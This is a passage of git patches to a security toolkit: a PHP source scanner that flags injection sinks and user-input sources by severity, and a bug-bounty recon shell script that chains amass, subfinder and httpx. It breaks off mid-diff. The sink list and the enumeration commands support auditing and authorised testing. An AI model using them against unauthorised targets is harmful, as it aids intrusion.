82ef16e2b7ae9a0cb3c879f2efb018743890f89a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 18 Aug 2024 12:32:16 +0100 Subject: [PATCH 261/289] small updates --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index 89510f0..407e036 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -318,7 +318,7 @@ def print_summary(self, total_found: int) -> None: """ prints summary at the bottom of search results """ - print(f"{beautyConsole.getColor('white')}Issues found: {total_found}") + print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") From 159045b3185435ed65318a2a2fd1f4830faf778b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 19 Aug 2024 09:59:02 +0100 Subject: [PATCH 262/289] pefdocs update --- pef/imports/pefdocs.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index e6fa9ab..d17844c 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -85,7 +85,7 @@ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", "popen ( string $command , string $mode ) : resource", "Code Injection", - "high", + "critical", "sink" ], "proc_open()": [ @@ -145,7 +145,7 @@ "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", "call_user_func ( callable $callback [, mixed $... ] ) : mixed", "Code Injection", - "medium", + "high", "sink" ], "ereg_replace()": [ @@ -531,7 +531,7 @@ "Write data to a file", "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", - "medium", + "high", "source" ], "SELECT.*FROM": [ From 3927893f85cd5e4982f27af75380fc7328e52e65 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 8 Sep 2024 20:14:56 +0100 Subject: [PATCH 263/289] [s0mbra] menu update --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index c66111f..4ff49e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -873,10 +873,10 @@ case "$cmd" in echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From 2c82ccbdb909bc08cbf1381735f661060cdea9da Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Oct 2024 12:37:03 +0100 Subject: [PATCH 264/289] [s0mbra] remove Subfinder --- s0mbra.sh | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4ff49e3..62939ac 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -217,11 +217,11 @@ peek() { START_TIME=$(date) DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - - # sublister - echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" + ## + ## other subdomain enumeration tool(s) goes here... + ## + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log @@ -234,18 +234,17 @@ peek() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' @@ -262,7 +261,7 @@ webservers() { START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From 15cbf80a3adbc1389eebd2e262ad2031da8a6ff8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Oct 2024 18:32:01 +0100 Subject: [PATCH 265/289] [s0mbra] revert changes --- s0mbra.sh | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 62939ac..804f4b3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -217,11 +217,11 @@ peek() { START_TIME=$(date) DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - - ## - ## other subdomain enumeration tool(s) goes here... - ## + # sublister + echo -e "\n$GREEN--> sublister$CLR\n" + sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log @@ -238,13 +238,14 @@ peek() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' From 33aec79d82d91efde0cae8670637dac918d44379 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 1 Oct 2024 18:48:17 +0100 Subject: [PATCH 266/289] [s0mbra] Split peek into enum+webservers --- s0mbra.sh | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 804f4b3..bcc9f7b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -209,7 +209,7 @@ nfs_enum() { } # quick scope, but for single domain - no need to create scope file -peek() { +enum() { TMPDIR=$(pwd)/$1 if [[ ! -d $TMPDIR ]]; then mkdir -p $TMPDIR @@ -232,23 +232,17 @@ peek() { sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log rm -f $TMPDIR/step* - # httpx - echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log - # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log - rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' } @@ -722,8 +716,8 @@ case "$cmd" in set_ip) set_ip "$2" ;; - peek) - peek "$2" + enum) + enum "$2" ;; webservers) webservers "$2" @@ -849,7 +843,7 @@ case "$cmd" in clear echo -e "$CLR" echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN enum $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 48d109b04f5b194dda615e43beafd8f7ee665dd2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 Dec 2024 11:48:29 +0000 Subject: [PATCH 267/289] [pef] check level param; default levels --- Vi/vi.py | 2 +- pef/pef.py | 20 ++++++++++++-------- s0mbra.sh | 29 +++++------------------------ 3 files changed, 18 insertions(+), 33 deletions(-) diff --git a/Vi/vi.py b/Vi/vi.py index 7e4fddc..43408b9 100755 --- a/Vi/vi.py +++ b/Vi/vi.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 import re import urllib.parse from collections import deque diff --git a/pef/pef.py b/pef/pef.py index 407e036..2953b73 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -153,6 +153,10 @@ "DELETE.*FROM" ] +# allowed scan levels +ALLOWED_LEVELS = ['ALL', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL'] +DEFAULT_LEVELS = 'MEDIUM,HIGH,CRITICAL' + def banner(): """ @@ -334,30 +338,30 @@ def print_summary(self, total_found: int) -> None: phpfunction = '' parser.add_argument( - "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") + "-s", "--skip-vendor", help=f"exclude ./vendor folder", action="store_true") parser.add_argument( - "-v", "--verbose", help="show documentation", action="store_true") + "-v", "--verbose", help=f"show documentation", action="store_true") parser.add_argument( "-l", "--level", - help="severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL\nif -f is set, this setting is ignored") + help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS} if -f is set, this setting is ignored") parser.add_argument( - "-S", "--sources", help="show only sources", action="store_true") + "-S", "--sources", help=f"show only sources", action="store_true") parser.add_argument( - "-K", "--sinks", help="show only sinks", action="store_true") + "-K", "--sinks", help=f"show only sinks", action="store_true") parser.add_argument( "-f", "--function", - help="Search for particular PHP function (eg. unserialize)", + help=f"Search for particular PHP function (eg. unserialize)", ) parser.add_argument( "-d", "--dir", - help="Directory to scan (or sinlge file, optionally)", + help=f"Directory to scan (or sinlge file, optionally)", ) args = parser.parse_args() - level = args.level.upper() if args.level else 'MEDIUM,HIGH,CRITICAL' + level = args.level.upper() if args.level in ALLOWED_LEVELS else 'MEDIUM,HIGH,CRITICAL' # if we are looking for a specific function, level is not taken into account if args.function is not None: diff --git a/s0mbra.sh b/s0mbra.sh index bcc9f7b..34b3f86 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -237,33 +237,18 @@ enum() { rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log - END_TIME=$(date) - echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" - echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' -} - - -# httpx only list -webservers() { - if [[ -z $1 ]]; then - SUBDOMAINS="subdomains_final.log" - elif [[ -n $1 ]]; then - SUBDOMAINS="$1" - fi - START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $(pwd)/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choom, we have some webservers to hack!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? @@ -719,9 +704,6 @@ case "$cmd" in enum) enum "$2" ;; - webservers) - webservers "$2" - ;; recon) recon "$2" "$3" "$4" ;; @@ -844,7 +826,6 @@ case "$cmd" in echo -e "$CLR" echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN enum $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From 17d3f99b9cb453fd0efc0e02578647879d47b198 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 Dec 2024 11:54:09 +0000 Subject: [PATCH 268/289] [pef] exit when no dir/file provided for scan --- pef/pef.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pef/pef.py b/pef/pef.py index 2953b73..92d4be2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -373,6 +373,10 @@ def print_summary(self, total_found: int) -> None: if args.sinks: source_or_sink = 'sink' + if args.dir is None: + print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") + exit(0) + filename = args.dir # main orutine starts here From 2093050e422e6189a3f8f0e44164941d0635b9ad Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 20 Feb 2025 16:03:35 +0000 Subject: [PATCH 269/289] [s0mbra] remove sublister; added amass --- pef/pef.py | 2 +- s0mbra.sh | 13 +++++++------ 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 92d4be2..e0a8e12 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -376,7 +376,7 @@ def print_summary(self, total_found: int) -> None: if args.dir is None: print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") exit(0) - + filename = args.dir # main orutine starts here diff --git a/s0mbra.sh b/s0mbra.sh index 34b3f86..d4e4b83 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -218,16 +218,17 @@ enum() { DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - # sublister - echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" - + # amass passive enum + echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/enum_subfinder.log # prepare list of uniqe subdomains - cat $TMPDIR/sub* > $TMPDIR/step1 + cat $TMPDIR/enum* > $TMPDIR/step1 sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log rm -f $TMPDIR/step* From 53a7fcc4094613ed6148df5ad59602444470860c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 21 Feb 2025 16:59:11 +0000 Subject: [PATCH 270/289] [pef] fix for multiple levels passed --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index e0a8e12..a3f4b3e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -361,7 +361,7 @@ def print_summary(self, total_found: int) -> None: args = parser.parse_args() - level = args.level.upper() if args.level in ALLOWED_LEVELS else 'MEDIUM,HIGH,CRITICAL' + level = args.level.upper() if args.level else 'HIGH,CRITICAL' # if we are looking for a specific function, level is not taken into account if args.function is not None: From ca76b87a368a62072ba0f4c38a46dce2fa2ad634 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 21 Feb 2025 17:03:42 +0000 Subject: [PATCH 271/289] [pef] do not clear screen between calls --- pef/pef.py | 1 - 1 file changed, 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index a3f4b3e..aa9daa2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -288,7 +288,6 @@ def run(self): runs scanning """ total_found = 0 - os.system('clear') print( f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") From 2541ea6d34e1b3df96c7f6397b8cab1b6dd8700d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 10 Mar 2025 09:13:48 +0000 Subject: [PATCH 272/289] [pef] update severity level for . variables --- pef/imports/pefdocs.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index d17844c..e422511 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -566,21 +566,21 @@ "$_POST reference found", "", "", - "high", + "critical", "source" ], "$_GET": [ "$_GET reference found", "", "", - "high", + "critical", "source" ], "$_REQUEST": [ "$_REQUEST reference found", "", "", - "high", + "critical", "source" ], "$_COOKIES": [ @@ -589,5 +589,12 @@ "", "high", "source" + ], + "$_SESSION": [ + "$_SESSION reference found", + "", + "", + "high", + "source" ] } From c2cd5a721e50765cb6d4959697780a82266f3c3b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 13 Mar 2025 13:40:54 +0000 Subject: [PATCH 273/289] [pef] updates --- pef/imports/pefdocs.py | 14 ++++++++++++++ pef/pef.py | 8 ++++---- 2 files changed, 18 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index e422511..2952215 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -583,6 +583,20 @@ "critical", "source" ], + "$_FILES": [ + "$_FILES reference found", + "", + "", + "high", + "source" + ], + "$_ENV": [ + "$_ENV reference found", + "", + "", + "medium", + "source" + ], "$_COOKIES": [ "$_COOKIES reference found", "", diff --git a/pef/pef.py b/pef/pef.py index aa9daa2..3ccf16f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -163,9 +163,9 @@ def banner(): Prints welcome banner with contact info """ print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", + print("-" * 6, " PEF | PHP Source Code grep tool", " " * 35, "-" * 16) - print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", + print("-" * 6, " https://github.com/bl4de ", " " * 22, "-" * 16) print("-" * 100, "\33[0m\n") @@ -235,7 +235,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou } meets_criteria = 0 - # print legend only if there i sentry in pefdocs.py + # print legend only if there is entry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) @@ -323,7 +323,7 @@ def print_summary(self, total_found: int) -> None: """ print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") - print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") + print(f"{beautyConsole.getColor('grey')}Level: {beautyConsole.getColor('green')}LOW,{beautyConsole.getColor('yellow')}MEDIUM,HIGH,{beautyConsole.getColor('red')}CRITICAL{beautyConsole.getColor('grey')}\n") # main program From e375e73ab0ab613b915172bbb97c2556f58291fe Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 6 Apr 2025 12:44:20 +0100 Subject: [PATCH 274/289] [s0mbra] update enum message --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d4e4b83..cfae07f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -245,7 +245,7 @@ enum() { END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY amass+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" From 99116cf4b8e883990a001cb65a17addcdf85287d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Apr 2025 16:45:15 +0100 Subject: [PATCH 275/289] [pef] added _SESSION --- pef/imports/pefdocs.py | 2 +- pef/pef.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 2952215..ed8f95b 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -608,7 +608,7 @@ "$_SESSION reference found", "", "", - "high", + "medium", "source" ] } diff --git a/pef/pef.py b/pef/pef.py index 3ccf16f..b4f9a94 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -132,6 +132,7 @@ "$_COOKIE", "$_REQUEST", "$_SERVER", + "$_SESSION", "include($_GET", "require($_GET", "include_once($_GET", From a37c78c82231cc969ba0b86acdb4e4ac8fd4e494 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 24 Apr 2025 18:03:14 +0100 Subject: [PATCH 276/289] [pef] added extractTo() --- pef/imports/pefdocs.py | 7 +++++++ pef/pef.py | 1 + 2 files changed, 8 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index ed8f95b..bf153e7 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -534,6 +534,13 @@ "high", "source" ], + "extractTo(": [ + "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", + "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", + "Arbitrary file write", + "medium", + "source" + ], "SELECT.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", diff --git a/pef/pef.py b/pef/pef.py index b4f9a94..a59b2e8 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -127,6 +127,7 @@ "__sleep(", "filter_var(", "file_put_contents(", + "extractTo(", "$_POST", "$_GET", "$_COOKIE", From 3bd5ec1e97f1668b28eb6ecf309b9a9842e7e70e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 25 Apr 2025 08:01:10 +0100 Subject: [PATCH 277/289] [pef] changes --- pef/imports/pefdocs.py | 7 +++++++ pef/pef.py | 41 ++++++++++++++--------------------------- pef/test.php | 3 +++ 3 files changed, 24 insertions(+), 27 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index bf153e7..c05b10c 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -617,5 +617,12 @@ "", "medium", "source" + ], + "$_SERVER": [ + "$_SERVER reference found", + "", + "", + "medium", + "source" ] } diff --git a/pef/pef.py b/pef/pef.py index a59b2e8..4e1329f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -130,7 +130,7 @@ "extractTo(", "$_POST", "$_GET", - "$_COOKIE", + "$_COOKIES", "$_REQUEST", "$_SERVER", "$_SESSION", @@ -142,13 +142,6 @@ "require($_REQUEST", "include_once($_REQUEST", "require_once($_REQUEST", - "$_SERVER[\"PHP_SELF\"]", - "$_SERVER[\"SERVER_ADDR\"]", - "$_SERVER[\"SERVER_NAME\"]", - "$_SERVER[\"REMOTE_ADDR\"]", - "$_SERVER[\"REMOTE_HOST\"]", - "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]", "SELECT.*FROM", "INSERT.*INTO", "UPDATE.*", @@ -207,22 +200,16 @@ def analyse_line(self, l, i, fn, f, line): """ total_number_of_isses = None meets_criteria = 0 - tokens = [token for token in line.split(' ') if token != "\n"] - - # check agains @ at the beginning of the function name - atfn = f"@{fn}" - fn = f"{fn}" - - for token in tokens: - if token.startswith(fn) or token.startswith(atfn): - if fn == "`": - total_number_of_isses = self.print_code_line( - f.name, l, i, fn, self.severity, self.level, self.source_or_sink) - else: - total_number_of_isses = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, - self.source_or_sink) - meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + + if fn in line: + if fn == "`": + total_number_of_isses = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) + else: + total_number_of_isses = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria return (meets_criteria, total_number_of_isses) def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', 